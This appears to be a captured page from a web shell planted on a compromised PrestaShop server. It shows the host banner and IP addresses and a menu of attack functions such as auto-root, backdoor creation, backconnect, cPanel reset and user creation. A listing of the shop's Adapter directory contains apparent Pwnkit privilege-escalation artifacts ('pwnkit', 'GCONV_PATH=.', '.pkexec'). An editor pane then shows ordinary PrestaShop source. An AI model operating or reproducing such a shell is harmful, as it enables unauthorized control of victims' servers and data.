Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 18.118.226.54
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
.trash /
src.1 /
Adapter /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Address
[ DIR ]
drwxr-xr-x
Admin
[ DIR ]
drwxr-xr-x
Assets
[ DIR ]
drwxr-xr-x
Attachment
[ DIR ]
drwxr-xr-x
Attribute
[ DIR ]
drwxr-xr-x
AttributeGroup
[ DIR ]
drwxr-xr-x
Backup
[ DIR ]
drwxr-xr-x
BestSales
[ DIR ]
drwxr-xr-x
CMS
[ DIR ]
drwxr-xr-x
Cache
[ DIR ]
drwxr-xr-x
Carrier
[ DIR ]
drwxr-xr-x
Cart
[ DIR ]
drwxr-xr-x
CartRule
[ DIR ]
drwxr-xr-x
CatalogPriceRule
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Configuration
[ DIR ]
drwxr-xr-x
Contact
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Converter
[ DIR ]
drwxr-xr-x
Country
[ DIR ]
drwxr-xr-x
CreditSlip
[ DIR ]
drwxr-xr-x
Currency
[ DIR ]
drwxr-xr-x
Customer
[ DIR ]
drwxr-xr-x
Debug
[ DIR ]
drwxr-xr-x
Domain
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Employee
[ DIR ]
drwxr-xr-x
EntityTranslation
[ DIR ]
drwxr-xr-x
Feature
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Form
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Geolocation
[ DIR ]
drwxr-xr-x
Grid
[ DIR ]
drwxr-xr-x
Group
[ DIR ]
drwxr-xr-x
Hook
[ DIR ]
drwxr-xr-x
Hosting
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Invoice
[ DIR ]
drwxr-xr-x
Kpi
[ DIR ]
drwxr-xr-x
Language
[ DIR ]
drwxr-xr-x
Localization
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
MailTemplate
[ DIR ]
drwxr-xr-x
Manufacturer
[ DIR ]
drwxr-xr-x
Media
[ DIR ]
drwxr-xr-x
Meta
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
NewProducts
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Number
[ DIR ]
drwxr-xr-x
OptionalFeatures
[ DIR ]
drwxr-xr-x
Order
[ DIR ]
drwxr-xr-x
OrderMessage
[ DIR ]
drwxr-xr-x
OrderReturn
[ DIR ]
drwxr-xr-x
OrderReturnState
[ DIR ]
drwxr-xr-x
OrderState
[ DIR ]
drwxr-xr-x
PDF
[ DIR ]
drwxr-xr-x
Pack
[ DIR ]
drwxr-xr-x
Preferences
[ DIR ]
drwxr-xr-x
Presenter
[ DIR ]
drwxr-xr-x
PricesDrop
[ DIR ]
drwxr-xr-x
Product
[ DIR ]
drwxr-xr-x
Profile
[ DIR ]
drwxr-xr-x
Requirement
[ DIR ]
drwxr-xr-x
Routes
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
SearchEngine
[ DIR ]
drwxr-xr-x
Security
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Shop
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwxr-xr-x
SpecificPrice
[ DIR ]
drwxr-xr-x
SqlManager
[ DIR ]
drwxr-xr-x
State
[ DIR ]
drwxr-xr-x
Store
[ DIR ]
drwxr-xr-x
Supplier
[ DIR ]
drwxr-xr-x
Support
[ DIR ]
drwxr-xr-x
System
[ DIR ]
drwxr-xr-x
Tab
[ DIR ]
drwxr-xr-x
Tax
[ DIR ]
drwxr-xr-x
TaxRulesGroup
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Title
[ DIR ]
drwxr-xr-x
Translations
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Upload
[ DIR ]
drwxr-xr-x
Warehouse
[ DIR ]
drwxr-xr-x
Webservice
[ DIR ]
drwxr-xr-x
Zone
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AbstractObjectModelValidator.p...
3.63
KB
-rw-r--r--
AddressFactory.php
2
KB
-rw-r--r--
CacheManager.php
1.42
KB
-rw-r--r--
ClassLang.php
1.68
KB
-rw-r--r--
CombinationDataProvider.php
8.38
KB
-rw-r--r--
Configuration.php
13.63
KB
-rw-r--r--
ContainerBuilder.php
8.76
KB
-rw-r--r--
ContainerFinder.php
2.34
KB
-rw-r--r--
ContextStateManager.php
10.09
KB
-rw-r--r--
CoreException.php
1.2
KB
-rw-r--r--
Database.php
2.63
KB
-rw-r--r--
EntityMapper.php
5.18
KB
-rw-r--r--
EntityMetaDataRetriever.php
1.99
KB
-rw-r--r--
Environment.php
2.61
KB
-rw-r--r--
GeneralConfiguration.php
4.23
KB
-rw-r--r--
HookManager.php
3.88
KB
-rw-r--r--
ImageManager.php
4.22
KB
-rw-r--r--
LegacyContext.php
10.75
KB
-rw-r--r--
LegacyContextLoader.php
4.16
KB
-rw-r--r--
LegacyHookSubscriber.php
4.67
KB
-rw-r--r--
LegacyLogger.php
4.78
KB
-rw-r--r--
ObjectPresenter.php
1.3
KB
-rw-r--r--
RoundingMapper.php
2.46
KB
-rw-r--r--
ServiceLocator.php
2.02
KB
-rw-r--r--
StockManager.php
7.73
KB
-rw-r--r--
SymfonyContainer.php
1.92
KB
-rw-r--r--
Tools.php
5.79
KB
-rw-r--r--
Validate.php
3.74
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ContainerBuilder.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Adapter; use Doctrine\ORM\Tools\Setup; use Exception; use LegacyCompilerPass; use PrestaShop\PrestaShop\Adapter\Container\ContainerBuilderExtensionInterface; use PrestaShop\PrestaShop\Adapter\Container\ContainerParametersExtension; use PrestaShop\PrestaShop\Adapter\Container\DoctrineBuilderExtension; use PrestaShop\PrestaShop\Adapter\Container\LegacyContainer; use PrestaShop\PrestaShop\Adapter\Container\LegacyContainerBuilder; use PrestaShop\PrestaShop\Core\EnvironmentInterface; use PrestaShopBundle\DependencyInjection\Compiler\LoadServicesFromModulesPass; use PrestaShopBundle\Exception\ServiceContainerException; use PrestaShopBundle\PrestaShopBundle; use Symfony\Component\Cache\Adapter\ArrayAdapter; use Symfony\Component\Cache\DoctrineProvider; use Symfony\Component\Config\ConfigCache; use Symfony\Component\Config\FileLocator; use Symfony\Component\Config\Resource\FileResource; use Symfony\Component\DependencyInjection\Compiler\PassConfig; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\DependencyInjection\Dumper\PhpDumper; use Symfony\Component\DependencyInjection\Loader\YamlFileLoader; /** * Build the Container for PrestaShop Legacy. */ class ContainerBuilder { /** * @var ContainerInterface */ private static $containers; /** * @var EnvironmentInterface */ private $environment; /** * @var string */ private $containerName; /** * @var string */ private $containerClassName; /** * @var string */ private $dumpFile; /** * @var ConfigCache */ private $containerConfigCache; /** * @param string $containerName * @param bool $isDebug * * @return LegacyContainerBuilder * * @throws Exception */ public static function getContainer($containerName, $isDebug) { if ($containerName === 'admin') { throw new ServiceContainerException( 'You should use `SymfonyContainer::getInstance()` instead of `ContainerBuilder::getContainer(\'admin\')`' ); } if (!isset(self::$containers[$containerName])) { $builder = new ContainerBuilder(new Environment($isDebug)); self::$containers[$containerName] = $builder->buildContainer($containerName); } return self::$containers[$containerName]; } /** * @param EnvironmentInterface $environment */ public function __construct(EnvironmentInterface $environment) { $this->environment = $environment; } /** * @param string $containerName * * @return ContainerInterface|LegacyContainerBuilder * * @throws Exception */ public function buildContainer($containerName) { $this->containerName = $containerName; $this->containerClassName = ucfirst($this->containerName) . 'Container'; $this->dumpFile = $this->environment->getCacheDir() . DIRECTORY_SEPARATOR . $this->containerClassName . '.php'; $this->containerConfigCache = new ConfigCache($this->dumpFile, $this->environment->isDebug()); //These methods load required files like autoload or annotation metadata so we need to load //them at each container creation, this can't be compiled. $this->loadDoctrineAnnotationMetadata(); $container = $this->loadDumpedContainer(); if (null === $container) { $container = $this->compileContainer(); } else { $this->loadModulesAutoloader($container); } // synthetic definitions can't be compiled $container->set('shop', $container->get('context')->shop); $container->set('employee', $container->get('context')->employee); return $container; } /** * @return ContainerInterface|null */ private function loadDumpedContainer() { $container = null; if ($this->containerConfigCache->isFresh()) { require_once $this->dumpFile; $container = new $this->containerClassName(); } return $container; } /** * @return LegacyContainerBuilder * * @throws Exception */ private function compileContainer() { $container = new LegacyContainerBuilder(); //If the container builder is modified the container logically should be rebuilt $container->addResource(new FileResource(__FILE__)); $container->addCompilerPass(new LoadServicesFromModulesPass($this->containerName), PassConfig::TYPE_BEFORE_OPTIMIZATION, PrestaShopBundle::LOAD_MODULE_SERVICES_PASS_PRIORITY); $container->addCompilerPass(new LegacyCompilerPass()); //Build extensions $builderExtensions = [ new ContainerParametersExtension($this->environment), new DoctrineBuilderExtension($this->environment), ]; /** @var ContainerBuilderExtensionInterface $builderExtension */ foreach ($builderExtensions as $builderExtension) { $builderExtension->build($container); } $this->loadServicesFromConfig($container); $this->loadModulesAutoloader($container); $container->compile(); //Dump the container file $dumper = new PhpDumper($container); $this->containerConfigCache->write( $dumper->dump([ 'class' => $this->containerClassName, 'base_class' => LegacyContainer::class, ]), $container->getResources() ); return $container; } /** * In symfony context doctrine classes (like Table, Entity, ...) are available thanks to * the autoloader. In this specific context we don't have the general autoloader, so we need * to include these classes manually. This is performed in Doctrine\ORM\Configuration::newDefaultAnnotationDriver * which is called in Setup::createAnnotationMetadataConfiguration. */ private function loadDoctrineAnnotationMetadata() { //IMPORTANT: we need to provide a cache because doctrine tries to init a connection on redis, memcached, ... on its own $cacheProvider = new DoctrineProvider(new ArrayAdapter()); Setup::createAnnotationMetadataConfiguration([], $this->environment->isDebug(), null, $cacheProvider); } /** * @param LegacyContainerBuilder $container * * @throws Exception */ private function loadServicesFromConfig(LegacyContainerBuilder $container) { $loader = new YamlFileLoader($container, new FileLocator(__DIR__)); $servicesPath = sprintf( '%sservices/%s/services_%s.yml', _PS_CONFIG_DIR_, $this->containerName, $this->environment->getName() ); $loader->load($servicesPath); } /** * Loops through all active modules and automatically include their autoload (if present). * Needs to be done as earlier as possible in application lifecycle. Unfortunately this can't * be done in a compiler pass because they are only executed on compilation and this needs to * be done at each container instanciation. * * @param ContainerInterface $container * * @throws Exception */ private function loadModulesAutoloader(ContainerInterface $container) { if (!$container->hasParameter('kernel.active_modules')) { return; } $activeModules = $container->getParameter('kernel.active_modules'); /** @var array<string> $activeModules */ foreach ($activeModules as $module) { $autoloader = _PS_MODULE_DIR_ . $module . '/vendor/autoload.php'; if (file_exists($autoloader)) { include_once $autoloader; } } } }
Close